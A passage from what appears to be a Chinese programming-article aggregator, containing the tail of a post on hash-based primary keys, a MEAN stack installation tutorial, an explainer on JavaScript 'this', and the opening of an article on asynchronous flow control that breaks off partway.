注意：这里的 bling 就是上面提到过的那个 bling-hashes，采用了 BKDR 算法来计算哈希。以及 Number.prototype.pad 函数是我邪恶得使用了 SugarJs 里面的函数，就是加上前导零的意思。如果受“千万不要修改原型链”影响较深地童鞋别学我哦。bodyParamStr 是前端传过来的 Raw Form Data，它看起来像 "data1=1&data2=2&..."。



最后得到的这个字符串是我们所要的主键了。｡:.ﾟヽ(*´∀`)ﾉﾟ.:｡

不过要注意的是，这个主键仍然又冲突的可能性，所以一旦冲突了（无论是自己检测到的还是插入数据库的时候疼了）就需要再生产一遍。就目前来说再生成的时候毫秒时间戳后三位会不一样，所以问题不大，允许存在的误差——毕竟不是那种分分钟集千万条的数据，肯定在 int 范围内。如果到时候真出问题了再改进。

主键的小结

这里的哈希是用在生成基本上没有碰撞的主键身上，感觉效果也是非常不错的——前提是你也有这种奇葩需求。

真·小结

本文大致介绍了哈希的几种用途，有可能是大家熟知的用途，也有可能是巧用，总之就是说了为什么我要用哈希。

在编程中，无论是实际用途还是自己玩玩的题目，多动动脑子就会出来一些“奇技淫巧”。哈希也好，别的东西也罢，反正都是为了解决问题的——千万别因为实际开发中通常性的“并没有什么卵用”而去忽视它们，虽然哈希已经是够常用的了。(๑•ૅω•´๑)


 【全栈开发】精通 MEAN: MEAN 堆栈

作者：Jeremy_Lu

来源： 【全栈开发】精通 MEAN: MEAN 堆栈



                    
在 2002 年的一本著作中，David Weinberger 将发展迅速的 Web 内容描述成一个 小块松散组合（Small Pieces Loosely Joined）。这个比喻让我印象深刻，因为大家一般很容易认为 Web 是一个巨大的技术堆栈。实际上，您访问的每个网站都是库、语言与 Web 框架的一种独特组合。


LAMP 堆栈 是早期表现突出的开源 Web 技术集合之一：它使用 Linux® 作为操作系统，使用 Apache 作为 Web 服务器，使用 MySQL 作为数据库，并使用 Perl（或者 Python 和 PHP）作为生成基于 HTML Web 页面的编程语言。这些技术的出现并非为了一起联合工作。它们是独立的项目，由多位雄心勃勃的软件工程师前赴后继地整合在一起。自那以后，我们就见证了 Web 堆栈的大爆发。每一种现代编程语言似乎都有一个（或两个）对应的 Web 框架，可将各种混杂的技术预先组装在一起，快速而又轻松地创建一个新的网站。


MEAN 堆栈是 Web 社区中赢得大量关注和令人兴奋的一种新兴堆栈：MongoDB、Express、AngularJS 和 Node.js。MEAN 堆栈代表着一种完全现代的 Web 开发方法：一种语言运行在应用程序的所有层次上，从客户端到服务器，再到持久层。本系列文章演示了一个 MEAN Web 开发项目的端到端开发情况，但这种开发并不仅限于简单的语法。本文将通过作者的亲身实践向您深入浅出地介绍了该堆栈的组件技术，包括安装与设置。参见 下载 部分，以便获取示例代码。



  实际上，你访问的每个网站都是库、语言与 Web 框架的独特组合。




从 LAMP 到 MEAN


MEAN 不仅仅是一次首字母缩写的简单重新安排与技术升级。将基础平台从操作系统 (Linux) 转变为 JavaScript 运行时 (Node.js) 让操作系统变得独立：Node.js 在 Windows® 与 OS X 上的运行情况和在 Linux 上一样优秀。


Node.js 同样取代了 LAMP 堆栈中的 Apache。但 Node.js 远远不止是一种简单的 Web 服务器。事实上，用户不会将完成后的应用程序部署到单机的 Web 服务器上；相反，Web 服务器已经包含在应用程序中，并已在 MEAN 堆栈中自动安装。结果，部署过程得到了极大简化，因为所需的 Web 服务器版本已经与余下的运行时依赖关系一起得到了明确定义。


不仅是 MEAN


尽管本系列文章重点讲述的是 MEAN 太阳系中的四大行星，但也会介绍 MEAN 堆栈中的一些较小的（但并非不重要的）卫星类技术：



	
Yeoman：一种功能强大的命令行开发工具组合，用于基架 (Yo)、编译脚本 (Grunt) 与客户端依赖关性管理 (Bower)。

	
Bootstrap：一个 CSS 库，支持开箱即用的移动端 响应式 Web 设计。

	
测试库：除了 Mocha、Jasmine 和 Karma 以外，还有大量测试库可用于模拟 Ajax 调用 (Chai)，显示测试范围 (Istanbul)，以及自动完成功能测试，以便在实际的浏览器中 运行它们(Protractor)。



从传统数据库（如 MySQL）到 NoSQL，再到无架构的、以文档为导向的持久存储（如 MongoDB），这些代表着持久化策略发生了根本性的转变。用户花费在编写 SQL 上的时间将会减少，将会有更多的时间编写 JavaScript 中的映射/化简功能。用户还能省掉大量的转换逻辑，因为 MongoDB 可以在本地运行 JavaScript Object Notation (JSON)。因此，编写 RESTful Web 服务变得前所未有的容易。


但从 LAMP 到 MEAN 的最大转变在于从传统的服务器端页面生成变为客户端 单页面应用程序 (SPA)。借助 Express 仍然可以处理服务器端的路由与页面生成，但目前的重点在客户端视图上，而 AngularJS 可以实现这一点。这种变化并不仅仅是将 模型-视图-控制器 (MVC) 工件从服务器转移到客户端。用户还要尝试从习惯的同步方式转而使用基本由事件驱动的、实质上为异步的方式。或许最重要的一点是，您将从以页面为中心的应用程序视图转到面向组件的视图。


MEAN 堆栈并非以移动为中心，AngularJS 在桌面电脑、笔记本电脑、智能手机、平板电脑和甚至是智能电视上的运行效果都一样，但它不会把移动设备当作二等公民对待。而且测试事后不再是问题：借助世界级的测试框架，比如 MochaJS、JasmineJS 和 KarmaJS，您可以为自己的 MEAN 应用程序编写深入而又全面的测试套件。


准备好获得 MEAN 了吗？


安装 Node.js


您需要安装 Node.js，以便在本系列中的示例应用程序上工作，如果尚未安装它，那就立刻开始安装吧。


如果使用 UNIX® 风格的操作系统（Linux、Mac OS X 等），我推荐使用 Node Version Manager (NVM)。（否则，在 Node.js 主页上单击 Install，下载适合您操作系统的安装程序，然后接受默认选项即可。）借助 NVM，您可以轻松下载 Node.js，并从命令行切换各种版本。这可以帮助您从一个版本的 Node.js 无缝转移到下一版本，就像我从一个客户项目转到下一个客户项目一样。


NVM 安装完毕后，请输入命令 nvm ls-remote 查看哪些 Node.js 版本可用于安装，如清单 1 中所示。


清单 1. 使用 NVM 列出可用的 Node.js 版本


$ nvm ls-remote

v0.10.20
v0.10.21
v0.10.22
v0.10.23
v0.10.24
v0.10.25
v0.10.26
v0.10.27
v0.10.28



输入 nvm ls 命令可以显示本地已经安装的 Node.js 版本，以及目前正在使用中的版本。


在撰写本文之际，Node 网站推荐 v0.10.28 是最新的稳定版本。输入 nvm install v0.10.28 命令在本地安装它。


安装 Node.js 后（通过 NVM 或平台特定的安装程序均可），可以输入 node --version 命令来确认当前使用的版本：


$ node --version

v0.10.28



什么是 Node.js？


Node.js 是一种 headless JavaScript 运行时。它与运行在 Google Chrome 内的 JavaScript 引擎（名叫 V8）是一样的，但使用 Node.js 可以从命令行（而非浏览器）运行 JavaScript。


访问浏览器的开发人员工具


熟悉自己所选浏览器中的开发人员工具。我将在整个系列中通篇使用 Google Chrome，但用户可以自行选择使用 Firefox、Safari 或者甚至是 Internet Explorer。



	在 Google Chrome 中，单击 Tools > JavaScript Console。

	在 Firefox 中，单击 Tools > Web Developer > Browser Console。

	在 Safari 中，单击 Develop > Show Error Console。（如果看不到 Develop 菜单，可以在 Advanced preferences 页面上单击 Show Develop menu in menu bar。）*   在 Internet Explorer 中，单击 Developer Tools > Script > Console。



我曾有些学生嘲笑过从命令行运行 JavaScript 的主意：“如果没有要控制的 HTML，那 JavaScript 还有什么好处呢？" JavaScript 是在浏览器（Netscape Navigator 2.0）中来到这个世界的，因此那些反对者的短视和天真是可以原谅的。


事实上，JavaScript 编程语言并未针对 文档对象模型 (DOM) 操作或形成 Ajax 请求提供本地功能。该浏览器提供了 DOM API，可以方便用户使用 JavaScript 来完成这类工作，但在浏览器之外的地方，JavaScript 不具备这些功能。


下面给出了一个例子。在浏览器中打开一个 JavaScript 控制台（参见 访问浏览器的开发人员工具）。输入 navigator.appName。获得响应后，请输入 navigator.appVersion。得到的结果类似于图 1 中所示。


图 1. 在 Web 浏览器中使用 JavaScript navigator 对象





在图 1 中，Netscape 是对 navigator.appName 的响应，而对 navigator.appVersion 的响应则是经验丰富的 Web 开发人员已经熟知但爱恨不一的、神秘的开发人员代理字符串。在图 1 中（截自 OS X 上的 Chrome 浏览器），该字符串是 5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36。


现在，我们要创建一个名为 test.js 的文件。在文件中输入同样的命令，并将每个命令包含在 console.log() 调用中：


console.log(navigator.appName);
console.log(navigator.appVersion);



保存文件并输入 node test.js 来运行它，如清单 2 中所示。


清单 2. 查看 Node.js 中的 navigator is not defined 错误


$ node test.js 

/test.js:1
ion (exports, require, module, __filename, __dirname) { console.log(navigator.
                                                                    ^
ReferenceError: navigator is not defined
    at Object.&lt;anonymous&gt; (/test.js:1:75)
    at Module._compile (module.js:456:26)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)
    at Function.Module.runMain (module.js:497:10)
    at startup (node.js:119:16)
    at node.js:902:3



正如您看到的那样，navigator 在浏览器中可用，但在 Node.js 中不可用。（不好意思，让您的第一个 Node.js 脚本失败了，但我想确保让您相信，在浏览器中运行 JavaScript 与在 Node.js 中运行它是不同的。）


根据堆栈跟踪的情况，正确的 Module 没有得到加载。（Modules 是在浏览器中运行 JavaScript 与在 Node.js 中运行它之间的另一主要区别。我们将立刻讲述 Modules 的更多相关内容。）为了从 Node.js 获得类似的信息，请将 test.js 的内容修改为：


console.log(process.versions)
console.log(process.arch)
console.log(process.platform)



再次输入 node test.js，可以看到类似于清单 3 中的输出。


清单 3. 在 Node.js 中使用过程模块


$ node test.js

{ http_parser: '1.0',
  node: '0.10.28',
  v8: '3.14.5.9',
  ares: '1.9.0-DEV',
  uv: '0.10.27',
  zlib: '1.2.3',

  modules: '11',
  openssl: '1.0.1g' }
x64
darwin



在 Node.js 中成功运行第一个脚本之后，我们将接触下一个主要概念：模块。


什么是模块？


可以在 JavaScript 中创建单一功能的函数，但与在 Java、Ruby 或 Perl 中不同，无法将多个函数打包到一个能够导入导出的内聚模块或 ”包“ 中。当然，使用 <script> 元素可以包含任意 JavaScript 源代码文件，但这种历史悠久的方法在两个关键方面缺少正确的模块声明。


首先，使用 <script> 元素包含的任意 JavaScript 将被加载到全局命名空间中。使用模块可以导入的函数被封装在一个局部命名的变量中。其次，同时更为关键的是，可以使用模块显式地声明依赖关系，而使用 <script> 元素则做不到这一点。结果，导入 Module A 时也会同时导入依赖的 Modules B 和 C。当应用程序变得复杂时，传递依赖关系管理很快将成为一种关键需求。


CommonJS


顾名思义，CommonJS 项目定义了一种通用的模块格式（包括其他浏览器之外的 JavaScript 规范）。Node.js 属于众多非官方的 CommonJS 实现之一。RingoJS （类似于 Node.js 的一种应用服务器，运行在 JDK 上的 Rhino/Nashorn JavaScript 运行时之上) 基于 CommonJS，流行的 NoSQL 持久存储 CouchDB 和 MongoDB 也是如此。


模块是用户衷心期盼的下一 JavaScript 主要版本 (ECMAScript 6) 的功能，但直到该版本被广泛接受之前，Node.js 目前使用的是它自己基于 CommonJS 规范的模块版本。


使用 require 关键字可以在脚本中包含 CommonJS 模块。例如，清单 4 是对 Node.js 主页上的 Hello World 脚本稍微进行修改后的版本。创建一个名为 example.js 的文件，并将清单 4 中的代码复制到其中。


清单 4. Node.js 中的 Hello World


var http = require('http');
var port = 9090;
http.createServer(responseHandler).listen(port);
console.log('Server running at http://127.0.0.1:' + port + '/');

function responseHandler(req, res){
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end('&lt;html&gt;&lt;body&gt;&lt;h1&gt;Hello World&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;');
}



输入 node example.js 命令运行新的 Web 服务器，然后在 Web 浏览器中访问 http://127.0.0.1:9090。


看一看清单 4 中的头两行。您很可能写过几百次（或几千次）像 var port = 9090; 这样的简单语句。这条语句定义了一个名为 port 的变量，并将数字 9090 赋值给它。第一行 (var http = require('http');) 用于导入一个 CommonJS 模块。它引入 http 模块并将它指派给一个局部变量。 and assigns it to a local variable. All of the corresponding modules that http 依赖的所有对应模块也同时被 require 语句导入。


example.js 后面的代码行：



	创建一个新的 HTTP 服务器。

	指定一个函数来处理响应。

	开始监听指定端口上进入的 HTTP 请求。



这样通过寥寥几行 JavaScript 代码，就可以在 Node.js 中创建了一个简单的 Web 服务器。在本系列随后的文章中您会看到，Express 将这个简单的例子被扩展用于处理更为复杂的路由，同时还将提供静态与动态生成的资源。


http 模块是 Node.js 安装的标准组件之一。其他标准的 Node.js 模块还支持文件 I/O，读取来自用户的命令行输入，处理底层的 TCP 和 UDP 请求等等。访问 Node.js 文档的 Modules 部分，查看标准模块的完整列表并了解它们的功能。


尽管模块列表内容十分丰富，但与可用的第三方模块列表相比，仍然是小巫见大巫。要访问它们，您需要熟悉另一个命令行实用工具：NPM。


什么是 NPM？


NPM 是 Node Packaged Modules 的简写。要查看包含超过 75,000 个公用第三方 Node 模块的清单，请访问 NPM 网站。在网站上搜索 yo 模块。图 2 显示了搜索结果。


图 2. yo 模块的详细情况





结果页面简要介绍了该模块（搭建 Yeoman 项目的 CLI 工具），并显示它在过去一天、一周和一月内被下载的次数、编写该模块的作者、它依赖于哪些其他的模块（如果存在）等内容。最重要的是，结果页面给出了安装该模块的命令行语法。


要从命令行获取关于 yo 模块的类似信息，请输入 npm info yo 命令。（如果您还不知道模块的官方名称，可以输入 npm search yo 来搜索名称中包含字符串 yo 的所有模块。）npm info 命令显示模块的 package.json 文件的内容。


了解 package.json


每个 Node.js 模块都必须关联一个格式良好的 package.json 文件，因此，熟悉此文件的内容是值得的。清单 5、清单 6 和清单 7 分三部分显示了 yo 模块的 package.json 文件的内容。


如清单 5 中所示，第一个元素通常是 name、description 和一个可用 versions 的 JSON 数组。


清单 5. package.json，第 1 部分


$ npm info yo

{ name: 'yo',
  description: 'CLI tool for scaffolding out Yeoman projects',
  'dist-tags': { latest: '1.1.2' },
  versions: 
   [ 
     '1.0.0',
     '1.1.0',
     '1.1.1',
     '1.1.2' ],



要安装一个模块的最新版本，请输入 npm install _package_ 命令。输入 npm install _package_@_version_ 可以安装一个特定的版本。


如清单 6 中所示，接下来将显示作者、维护者和可以直接查找源文件的 GitHub 库。


清单 6. package.json，第 2 部分


author: 'Chrome Developer Relations',
repository: 
 { type: 'git',
   url: 'git://github.com/yeoman/yo' },
homepage: 'http://yeoman.io',
keywords: 
 [ 'front-end',
   'development',
   'dev',
   'build',
   'web',
   'tool',
   'cli',
   'scaffold',
   'stack' ],



在这个例子中，还可以看到一个指向项目主页的链接和一个相关关键字的 JSON 数组。并非所有 package.json 文件中都会出现所有这些字段，但用户很少会抱怨与一个项目相关的元数据太多。


最后，清单 7 中列出了附有显式版本号的依赖关系。这些版本号符合主版本.次版本.补丁版本的常用模式，被称为 SemVer（语义版本控制）。


清单 7. package.json，第 3 部分


engines: { node: '&gt;=0.8.0', npm: '&gt;=1.2.10' },
dependencies: 
 { 'yeoman-generator': '~0.16.0',
   nopt: '~2.1.1',
   lodash: '~2.4.1',
   'update-notifier': '~0.1.3',
   insight: '~0.3.0',
   'sudo-block': '~0.3.0',
   async: '~0.2.9',
   open: '0.0.4',
   chalk: '~0.4.0',
   findup: '~0.1.3',
   shelljs: '~0.2.6' },
peerDependencies: 
 { 'grunt-cli': '~0.1.7',
   bower: '&gt;=0.9.0' },
devDependencies: 
 { grunt: '~0.4.2',
   mockery: '~1.4.0',
   'grunt-contrib-jshint': '~0.8.0',
   'grunt-contrib-watch': '~0.5.3',
   'grunt-mocha-test': '~0.8.1' },



这个 package.json 文件表明，它必须安装在 0.8.0 或更高版本的 Node.js 实例上。如果试图使用 npm install 命令安装一个不受支持的版本，那么安装将会失败。


SemVer 的快捷语法


在 清单 7 中，您会注意到，很多依赖关系版本中都有一个波浪符号 (~)。这个符号相当于 1.0.x（也属于有效语法），意思是 ”主版本必须是 1，次版本必须是 0，但您可以安装所能找到的最新补丁版本“。SemVer 中的这种隐含表达法意味着，补丁版本绝不会 对 API 做出重大修改（通常是对现有功能的缺陷修复），而次版本会在不打破现有功能的情况下引入另外的功能（比如新的函数调用）。


除了平台要求之外，这个 package.json 文件还提供几个依赖关系列表：



	
dependencies 部分列出了运行时的依赖关系。

	
devDependencies 部分列出了开发过程中需要的模块。

	
peerDependencies 部分支持作者定义项目之间的 ”对等“ 关系。这种功能通常用于指定基础项目与其插件之间的关系，但在这个例子中，它指出了包含 Yeoman 项目与 Yo 的其他两个项目（Grunt 与 Bower）。



如果在不指定模块名的情况下输入 npm install 命令，那么 npm 会访问当前目录中的 package.json 文件，并安装我刚刚讨论过的三部分内容中列出的所有依赖关系。


安装一个能正常工作的 MEAN 堆栈，下一步是安装 Yeoman 与相应的 Yeoman-MEAN 生成器。


安装 Yeoman


作为一名 Java 开发人员，我无法想象在没有诸如 Ant 或 Maven 这样的编译系统的情况下如何启动一个新项目。类似地，Groovy 和 Grails 开发人员依靠的是 Gant（Ant 的一种 Groovy 实现）或 Gradle。这些工具可以搭建起一个新的目录结构，动态下载依赖关系，并准备好将项目发布。


在纯粹的 Web 开发环境中，Yeoman 可以满足这种需要。Yeoman 是三种 Node.js 工具的集合，包括用于搭建的纯 JavaScript 工具 Yo，管理客户端依赖关系的 Bower，以及准备项目发布的 Grunt。通过分析 清单 7 可以得出这样的结论：安装 Yo 时也会安装它对等的 Grunt 和 Bower，这要感谢 package.json 中的 peerDependencies 部分。


通常，输入 npm install yo --save 命令可以安装 yo 模块并更新 package.json 文件中的 dependencies 部分。（npm install yo --save-dev 用于更新 devDependencies 部分。）但这三个对等的 Yeoman 模块算不上是特定于项目的模块，它们是命令行实用工具，而非运行时依赖关系。要全局安装一个 NPM 包，需要在 install 命令后增加一个 -g 标志。


在系统上安装 Yeoman：


npm install -g yo



在完成包安装后，输入 yo --version 命令来验证它已经在运行中。


Yeoman 与基础架构的所有余下部分都准备就绪后，便可以开始安装 MEAN 堆栈了。


安装 MeanJS


您可以手动安装 MEAN 堆栈的每一部分，但需要十分小心。谢天谢地，Yeoman 通过其 generators（生成器） 提供了一种更轻松的安装方式。


Yeoman 生成器就是引导一个新 Web 项目更轻松的方式。该生成器提供了基础包及其所有依赖关系。此外，它通常还会包含一个工作的编译脚本及其所有相关插件。通常，该生成器还包含一个示例应用程序，包括测试在内。


Yeoman 团队构建和维护了几个 "官方的" Yeoman 生成器。社区驱动的 Yeoman 生成器（超过 800 个）远远超过官方生成器的数量。


您将用于引导第一个 MEAN 应用程序的社区生成器被称为 MEAN.JS，这也在意料之中。


在 MEAN.JS 主页上，单击 Yo Generator 菜单选项或者直接访问 Generator 页面，图 3 中显示了其中的一部分。


图 3. MEAN.JS Yeoman 生成器





该页面上的说明指出要首先 Yeoman，这一点您已经完成。下一步是全局安装 MEAN.JS 生成器：


npm install -g generator-meanjs



生成器准备就绪后，便可以开始创建您的第一个 MEAN 应用程序了。创建一个名为 test 的目录，使用 cd 命令进入它，然后输入 yo meanjs 命令生成应用程序。回答最后两个问题，如清单 8 中所示。（您可以为开始四个问题提供自己的答案。）


清单 8. 使用 MEAN.JS Yeoman generator


$ mkdir test
$ cd test
$ yo meanjs

     _-----_
    |       |
    |--(o)--|   .--------------------------.
   `---------�  |    Welcome to Yeoman,    |
    ( _�U`_ )   |   ladies and gentlemen!  |
    /___A___\   '__________________________'
     |  ~  |
   __'.___.'__
 �   `  |� � Y `

You're using the official MEAN.JS generator.
[?] What would you like to call your application? 
Test
[?] How would you describe your application? 
Full-Stack JavaScript with MongoDB, Express, AngularJS, and Node.js
[?] How would you describe your application in comma separated key words?
MongoDB, Express, AngularJS, Node.js
[?] What is your company/author name? 
Scott Davis
[?] Would you like to generate the article example CRUD module? 
Yes
[?] Which AngularJS modules would you like to include? 
ngCookies, ngAnimate, ngTouch, ngSanitize



在回答最后一个问题后，您会看到一系列行为，这是 NPM 在下载所有服务器端的依赖关系（包括 Express）。NPM 完成后，Bower 将下载所有客户端的依赖关系（包括 AngularJS、Bootstrap 和 jQuery）。


至此，您已经安装了 EAN 堆栈（Express、AngularJS 和 Node.js) — 目前只缺少 M (MongoDB)。如果现在输入 grunt 命令，在没有安装 MongoDB 的情况下启动应用程序，您会看到类似于清单 9 中的一条错误消息。


清单 9. 试图在没有 MongoDB 的情况下启动 MeanJS


events.js:72
    throw er; // Unhandled 'error' event
          ^
Error: failed to connect to [localhost:27017]
    at null.&lt;anonymous&gt; 
(/test/node_modules/mongoose/node_modules/mongodb/lib/mongodb/connection/server.js:546:74)

[nodemon] app crashed - waiting for file changes before starting...



如果启动应用程序时看到这条错误消息，请按下 Ctrl+C 键停止应用程序。


为了使用新的 MEAN 应用程序，现在需要安装 MongoDB。


安装 MongoDB


MongoDB 是一种 NoSQL 持久性存储。它不是使用 JavaScript 编写的，也不是 NPM 包。必须单独安装它才能完成 MEAN 堆栈的安装。


访问 MongoDB 主页，下载平台特定的安装程序，并在安装 MongoDB 时接受所有默认选项。


安装完成时，输入 mongod 命令启动 MongoDB 守护程序。


MeanJS Yeoman 生成器已经安装了一个名为 Mongoose 的 MongoDB 客户端模块，您可以检查 package.json 文件来确认这一点。我将在后续的文章中详细介绍 MongoDB 和 Mongoose。


安装并运行 MongoDB 后，最终您可以运行您的 MEAN 应用程序并观察使用效果了。


运行 MEAN 应用程序


要启动新安装的 MEAN 应用程序，在运行 MeanJS Yeoman 生成器之前，一定要位于您创建的 test 目录中。在输入 grunt 命令时，输出内容应该如清单 10 中所示。


清单 10. 启动 MEAN.JS 应用程序


$ grunt

Running &quot;jshint:all&quot; (jshint) task
&gt;&gt; 46 files lint free.

Running &quot;csslint:all&quot; (csslint) task
&gt;&gt; 2 files lint free.

Running &quot;concurrent:default&quot; (concurrent) task
Running &quot;watch&quot; task
Waiting...
Running &quot;nodemon:dev&quot; (nodemon) task
[nodemon] v1.0.20
[nodemon] to restart at any time, enter `rs`
[nodemon] watching: app/views/**/*.* gruntfile.js server.js config/**/*.js app/**/*.js
[nodemon] starting `node --debug server.js`
debugger listening on port 5858

 NODE_ENV is not defined! Using default development environment

MEAN.JS application started on port 3000



jshint 和 csslint 模块（均由生成器进行安装）可以确保源代码在句法和语体上是正确的。nodemon 包监控文件系统中的代码修改情况，并在检测到有的情况下自动重启服务器，当开发人员需要快速而频繁地修改代码基础时，这可以极大地提高他们的效率。（nodemon 包只在开发阶段运行，要监测生产环境的变化，必须重新部署应用程序并重启 Node.js。）


按照控制台输出的提示，访问 http://localhost:3000 并运行您的新 MEAN 应用程序。


图 4 显示了 MEAN.JS 示例应用程序的主页。


图 4. MEAN.JS 示例应用程序的主页





菜单栏中单击 Signup 创建一个新的用户账号。现在填写 Sign-up 页面上的所有字段（如图 5 中所示），然后单击 Sign up。在后续的指南中，您可以通过 Facebook、Twitter 等启用 OAuth 登录


图 5. MEAN.JS 示例应用程序的 Sign-up 页面





现在，您的本地 MongoDB 实例中已经保存了一组用户证书，您可以开始撰写新的文章了。单击 Articles 菜单选项（当您登录之后才会显示出来），并创建一些示例文章。图 6 显示了 Articles 页面。


图 6. MeanJS 的文章页面





您已经创建了自己的第一个 MEAN 应用程序。欢迎加入！


结束语


在这篇指南中，您完成相当多的内容。安装 Node.js 并编写了第一个 Node.js 脚本。学习了模块并使用 NPM 安装了几个第三方模块。安装 Yeoman 并将它作为可靠的 Web 开发平台，其中包含一个搭建实用工具 (Yo)，一个编译脚本 (Grunt)，以及一个管理客户端依赖关系的实用工具 (Bower)。安装 MeanJS Yeoman 生成器，并使用它来创建第一个 MEAN 应用程序。安装 MongoDB 与 Node.js 客户端库 Mongoose。最后运行您的首个 MEAN 应用程序。


下一次，我们会详细了解示例应用程序的源代码，从而了解 MEAN 太阳系中的所有四颗行星 （MongoDB、Express、AngularJS 和 Node.js）是如何相互作用的。


下载


样例代码 wa-mean1src.zip


原文出处：精通 MEAN: MEAN 堆栈


 JavaScript:万恶的this拿命来（一）

作者：qianjiahao

来源： JavaScript:万恶的this拿命来（一）



                    
侃侃JavaScript中的this




  this为何如此多变？




this总是跟它的执行上下文有关，而在JavaScript总会有开辟新的执行上下文的东西，比如函数，所以，this才如此的变化。




  执行环境对JavaScript中的this有影响吗？




JavaScript是一门解释型语言，需要有一个执行环境去执行它，通常的执行环境是浏览器，还有node脚本，还有`REPL`(“读取-求值-输出”循环（Read-Eval-Print Loop，简称REPL）)。

如果对REPL有兴趣的话，博客中的另一篇文章介绍了`REPL`




  this默认指代谁？




在不同的执行环境中，会指代不同的对象



浏览器中：


> this              // Window {top: Window, window: Window,...
> this === window   //true

> var a = 1;        //在全局中，用var声明变量，会默认给window添加
> this.a   // 1
> window.a // 1
> b = 1;            //不使用var声明变量，会默认给全局的this添加属性
> this.b   // 1
> window.b // 1



在node脚本中


console.log(this);              //{}
console.log(this === global);   //false
console.log(this === window);   //ReferenceError: window is not defined

var a = 1;         //在全局中，使用var声明变量，未给global添加属性

console.log(this.a);            //undefined
console.log(global.a);          //undefined
console.log(window.a);          //ReferenceError: window is not defined

b = 1;            //不使用var声明变量，会默认给全局的global添加属性。

console.log(this.b);            //undefined
console.log(global.b);          // 1   

在node脚本中，this默认指向一个空对象，并不是指向global，也不是指向window。



在REPL中


> this
{ DTRACE_NET_SERVER_CONNECTION: [Function],
  DTRACE_NET_STREAM_END: [Function],
  ...
> global === this  //true

> var a = 1;       //在全局中，使用var声明变量，会默认给全局的global添加属性
> this.a           // 1
> global.a         // 1

> b = 1;           //不使用var声明变量，会默认给全局的this添加属性
> this.b           // 1 
> global.b         // 1



实例扩展



  我们对于省略var的变量声明方式，我们总说它是不安全的，但是是合法的。




为什么不安全？


如上文所述：不使用var声明变量，会让变量默认的添加到了全局的this中，这有时候会莫名的给变量提升它的作用域，从而影响其他全局变量。



举个栗子：


var position = "outer";           //this.position = "outer"

function test(){
    position = "inner";           //this.position = "inner"，在函数执行后，覆盖原先的值
    console.log(this.position);
}

test();



我们在外部定义了一个名为position的全局变量，它会被默认添加到全局this的属性上。


然后在我们的test函数中，又定义了一个同名的变量，但是注意，函数中的变量声明没有用var。


因为我们并没有对函数实例化，所以this.position的this会默认指代全局。


而当我们调用函数test时，函数会生成一个执行上下文，而内部position会将作用域从函数内部提升到全局，从而覆盖（污染）了外部全局定义的position变量。


所以，在JavaScript的严格模式中，是不允许省略var来声明变量的。故在声明变量的时候，就顺手加上var吧。


总结



	
this在不同的执行环境中的默认指代

	通过省略var声明变量导致“变量提升”现象的发生及预防




 简单理解Javascript的各种异步流程控制方法

作者：zodiacg

来源： 简单理解Javascript的各种异步流程控制方法



                    
原文地址：http://zodiacg.net/2015/08/javascript-async-control-flow/

随着ES6标准逐渐成熟，利用Promise和Generator解决回调地狱问题的话题一直很热门。但是对解决流程控制/回调地狱问题的各种工具认识仍然比较麻烦。最近两天看了很多文章，想出几个场景把各种异步流程方式类比一下，希望能有助于理解他们的实现。

需要说明的是类比只能反映被类比的事物的一个方面，必然有其反映不到的部分，不能完全以类比来理解各种异步控制的本质。所以仅用于简化理解，快速入门，依然需要阅读有深入研究的文章来加深对各种异步流程控制的方法的掌握。

文章中没有严格使用Node.js核心模块的函数名，而是伪造的函数名来方便在各种方式下保持一致性和简化书写。

同步

从最简单的同步开始。以一段经典的代码为例吧，传入文件名，从文件中读取内容并按JSON格式解析，把其中的一部分内容发还给用户。

function foo(filename){
    var file = readFile(filename);
    var json = parseJSON(file);
    return json.someContent;
}

var resultA=foo('first.json');
var resultB=foo('second.json');

其中readFile和parseJSON显而易见是同步、阻塞的函数。

我们构造这样一个场景，M(ain)代表着解释引擎的主线程，坐在柜台前等待用户提交请求。


来了两个用户A和用户B，用户A排在前面。

用户A: 你好，我要读文件first.json。  
M：好的你等一下我去拿。  
【M离开了柜台去拿文件】  
M：好的我回来了，这是你要的first.json的内容。然后呢？  
用户A：然后把内容按JSON解析一下。  
M：你等等我去解析一下。  
【M离开了柜台去解析文件内容】  
M：好了解析完了，然后呢？  
用户A：我要里面的someContent部分。  
M：给你。再见。

用户B：你好，我要读文件second.json。  
…………



可以看到同步阻塞顾名思义，操作一步一步进行，遇到IO操作每一步都要等待，用户A不处理完，用户B也进不来。

经典回调方式

仍然是这个需求，这次的代码就比较像Node.js里的常见形式了，此处为了简单忽略了err。由于回调套回调，缩进如同金字塔，被称作回调地狱。当然回调地狱远不是一个缩进金字塔那么简单。

function foo(filename, cb){
    readFile(filename,function(file){
        parseJSON(file,function(json){
            cb(json.someContent);
        });
    });
}

foo('first.json',cbA);
foo('second.json',cbB);


依然是来了两个用户A和用户B

用户A：你好，我要读文件first.json，按JSON解析后把里面的someContent寄往cbA发回给我。  
M：好的。  
【M开始写信，信封上写上文件读取处readFile，拿出一张信纸写到：“读取first.json，然后内容放进后附信封中寄出”。】  
【M又拿出一个信封，写上JSON解析处parseJSON，信纸上写到“把给你的file按JSON解析，然后把里面的someContent放到所附信封里寄出”。】  
【M又又拿出一个信封，写上cbA，然后把这个信封放进了刚才的信封里，又把刚才的信封塞进了第一个信封里。】  
【M把鼓鼓囊囊的信封扔到邮箱里就不管了】  
M：下一位！  
用户B：你好……



写几封信的时间比自己跑出去取文件要快的多。异步操作带来的处理速度提升是显而易见的。

但是为了保证业务流程的衔接，信里面就包含了后续一切需要进行的操作，层层包裹。第一封信寄出，M就既无从得知信走到了何处，也无法控制readFile和parseJSON是不是如自己所想寄出了给他的信封，有没有私自复印了多寄了一两封。

这才是回调地狱真正危险的地方，缺乏控制。

Promise

引入Promise之后，很多人就以为能解决回调地狱了，其实不然。在某些场景下只是让缩进好看了一点而已。有些场景下缩进也没法好看，需要书写的回调不仅不会减少还会增多。

function foo(filename,cb){
    readFile(filename)
    .then(parseJSON(file))
    .then(function(json){
    cb(json.someContent)});
}

foo('first.json',cbA);
foo('second.json',cbB);

当然这里面的readFile和parseJSON已经是Promise化了的。


依然是来了两个用户A和用户B  

用户A：你好，我要读文件first.json，按JSON解析后把里面的someContent寄往cbA发回给我。  
M：好的。  
【M叫来了一个办事员小P】  
